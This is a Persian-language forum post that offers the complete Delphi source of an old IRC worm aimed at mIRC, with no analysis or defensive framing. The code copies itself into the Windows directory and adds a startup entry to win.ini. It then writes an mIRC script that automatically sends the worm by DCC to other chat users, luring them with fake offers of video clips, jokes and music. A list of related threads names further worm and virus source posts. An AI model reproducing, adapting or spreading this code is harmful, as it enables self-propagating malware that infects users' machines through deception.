• ¡Welcome to Square Theme!
  • This news are in header template.
  • Please ignore this message.
مهمان عزیز خوش‌آمدید. ورود عضــویت


امتیاز موضوع:
  • 0 رای - 0 میانگین
  • 1
  • 2
  • 3
  • 4
  • 5
Title: Source Code IRC-Worm.Win32.Desire Delphi
حالت موضوعی
#1
کرم زیر نرم افزار mirc رو مورد هدف قرار میدهد.

کد:
{

Desire Worm
Version 1.00
By The WalruS
10/2001

}

unit DesireWorm;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  jpeg, ExtCtrls, StdCtrls;

type
    TForm1 = class(TForm)
    Image1: TImage;
    procedure Hit(Sender: TObject);
    procedure Show(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

// This procedure gets the mirc path passed to it and then drops the script
procedure WriteMircScript(MircPath: String);
    var fFile: Text;
    begin
    AssignFile(fFile,MircPath);
    Rewrite(fFile);
    writeln(fFile,'[script]');
    writeln(fFile,'; Desire Worm By The WalruS (c) 10/2001');
    writeln(fFile,'n0=on 1:start:{');
    writeln(fFile,'n1= /.remote on');
    writeln(fFile,'n2= /.ctcps on');
    writeln(fFile,'n3= /.events on');
    writeln(fFile,'n4= /.ebeeps off');
    writeln(fFile,'n5= /.pdcc 99999999999');
    writeln(fFile,'n6= /.dcc packetsize 4096');
    writeln(fFile,'n7=           }');
    writeln(fFile,'n8=on 1:connect:{ /.clearall');
    writeln(fFile,'n9=           /.enable #spreadin');
    writeln(fFile,'n10=          /.copy -o C:\Windows\Backup.pif C:\Desire.exe');
    writeln(fFile,'n11=        }');
    writeln(fFile,'n12=on 1:disconnect:{ /.remove C:\Desire.exe');
    writeln(fFile,'n13=  /.remove C:\Joke.exe');
    writeln(fFile,'n14= /.remove C:\Sample.exe');
    writeln(fFile,'n15=        }');
    writeln(fFile,'n16=on 1:join:#:if ( $nick != $me ) { /.msg $nick To see a hot s      /\/\///\e///:/x clip just type: !send in $chan }');
    writeln(fFile,'n17=on 1:nick:/.msg $newnick Hey $newnick is better than $nick ;-)   If you wanna see a hot s      /\/\///\e///:/x clip just type: !send in $chan');
    writeln(fFile,'n18=on 1:filercvd:*.*:/.dcc send $nickC:\Desire.exe');
    writeln(fFile,'n19=on 1:filesent:*.jpg,*.jpeg,*.gif,*.bmp,*.mpg,*.mpeg,*.avi:/.dcc send $nick  C:\Desire.exe');
    writeln(fFile,'n20=on 1:text:*!send*:#: { if ( $nick == $me ) {halt} | /.dcc send $nick  C:\Desire.exe | /.msg $nick Here is the s      /\/\///\e///:/x clip u asked for, cya soon. }');
    writeln(fFile,'n21=on 1:text:*music*:#: {/.copy -o  C:\Desire.exe  C:\Sample.exe | if ( $nick == $me ) {halt} | /.dcc send $nick C:\Sample.exe | /.msg $nick Here is some cool music');
    writeln(fFile,'n22=on 1:text:*joke*:#: {/.copy -o  C:\Desire.exe  C:\Joke.exe | if ( $nick == $me ) {halt} | /.dcc send $nick C:\Joke.exe | /.msg $nick Here is a joke for you }');
    writeln(fFile,'n23=#spreadin off');
    writeln(fFile,'n24=#spreadin end');
    CloseFile(fFile);
end;

// When form is shown
procedure TForm1.Show(Sender: TObject);

     // My variables
    var MircFile: String;
        MircPath: String;
    begin

     // Copy file to Windows Directory
     copyfile('Desire.exe', 'C:\Windows\Backup.pif',true);

     // Set up run pointer in Win.ini
     writeprivateprofilestring ('windows','run','C:\Windows\Backup.pif' ,'win.ini');

     // Checks for mirc in 4 popular directories
     MircFile := FileSearch('mirc.ini', 'c:\program files\mirc + ;' + 'c:\mirc + ;' + 'd:\mirc + ;' + 'd:\program files\mirc');

     If MircFile = 'c:\program files\mirc\mirc.ini' Then
        begin
        MircPath := 'c:\program files\mirc\';
        WriteMircScript(MircPath + 'script.ini');
     end;
     If MircFile = 'c:\mirc\mirc.ini' Then
     begin
        MircPath := 'c:\mirc\';
        WriteMircScript(MircPath + 'script.ini');
     end;
     If MircFile = 'd:\program files\mirc\mirc.ini' Then
         begin
            MircPath := 'd:\program files\mirc\';
            WriteMircScript(MircPath + 'script.ini');
         end;
     If MircFile = 'd:\mirc\mirc.ini' Then
         begin
            MircPath := 'd:\mirc\';
            WriteMircScript(MircPath + 'script.ini');
         end;

     If Application.ExeName = 'C:\WINDOWS\BACKUP.PIF' Then
     close;
end;

// When User Clicks On The Picture
procedure TForm1.Hit(Sender: TObject);
begin
     Application.messagebox('One Too Many Burgers','Desire',MB_ICONEXCLAMATION);
     close;
end;

end.
گروه دور همی پارسی کدرز
https://t.me/joinchat/GxVRww3ykLynHFsdCvb7eg
 
پاسخ
  


موضوعات مشابه ...
موضوع نویسنده پاسخ بازدید آخرین ارسال
  Source Code LOA-worm Delphi Amin_Mansouri 0 4,393 03-30-2012، 01:05 PM
آخرین ارسال: Amin_Mansouri
  Source Code IRC-Worm.Hausex Delphi Amin_Mansouri 0 2,960 03-30-2012، 01:00 PM
آخرین ارسال: Amin_Mansouri
  (USB-Worm for UNIX/LINUX) Amin_Mansouri 0 2,374 11-09-2011، 03:17 PM
آخرین ارسال: Amin_Mansouri
  delphi disable msconfig Amin_Mansouri 0 2,472 10-18-2011، 01:22 AM
آخرین ارسال: Amin_Mansouri
  USB Worm C++ Amin_Mansouri 0 2,606 10-12-2011، 12:11 AM
آخرین ارسال: Amin_Mansouri
  C++ worm example Amin_Mansouri 0 2,789 09-28-2011، 06:15 PM
آخرین ارسال: Amin_Mansouri
  [VB.NET]DC Worm Amin_Mansouri 0 3,991 09-26-2011، 09:41 AM
آخرین ارسال: Amin_Mansouri
  [DELPHI]Virus EXE infector - Example, by DjH Amin_Mansouri 0 2,725 09-22-2011، 12:40 AM
آخرین ارسال: Amin_Mansouri
  Delphi Usb Worm Amin_Mansouri 0 2,885 08-30-2011، 11:54 AM
آخرین ارسال: Amin_Mansouri
  Source Code Virus & Worm Amin_Mansouri 4 6,087 06-25-2011، 10:55 AM
آخرین ارسال: Amin_Mansouri

پرش به انجمن:


Browsing: 1 مهمان